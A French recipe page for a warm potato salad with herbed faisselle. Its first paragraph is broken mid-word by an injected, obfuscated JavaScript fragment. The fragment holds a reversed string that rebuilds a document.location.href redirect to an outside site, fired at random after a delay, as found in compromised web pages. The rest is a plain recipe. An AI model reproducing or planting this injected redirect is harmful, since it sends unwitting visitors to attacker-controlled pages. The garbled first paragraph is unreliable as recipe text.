Salade tiède de pommes de terre aux fines herbes

2018-02-17

Pelez, rincez les pommes de terre. Faites-les cuire en robe des champs dans le panier supérieur de votre autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocuiseur pendant 20 minutes à compter du chuchotement de la soupape.

Ingrédients

  • Pour 4 personnes
  • 4 pommes de terre à chair ferme de « type » belle de Fontenay
  • 200 g de faisselle égouttée
  • 2 échalotes
  • ½ bouquet de persil plat
  • ½ bouquet de ciboulette
  • Sel - Poivre du moulin

Préparation de la recette

Etape 1

Pelez, rincez les pommes de terre. Faites-les cuire en robe des champs dans le panier supérieur de votre autocuiseur pendant 20 minutes à compter du chuchotement de la soupape. Vérifiez la cuisson, les égoutter.

Etape 2

Pelez, hachez les échalotes. Rincez, essorez, hachez le persil plat. Même chose pour les ciboulettes. Déposez la faisselle dans un plat avec les échalotes, le persil, les ciboulettes. Mélangez.

Etape 3

Pelez les pommes de terre, les couper en rondelles et servez-les tièdes agrémentées de faisselle aux herbes.

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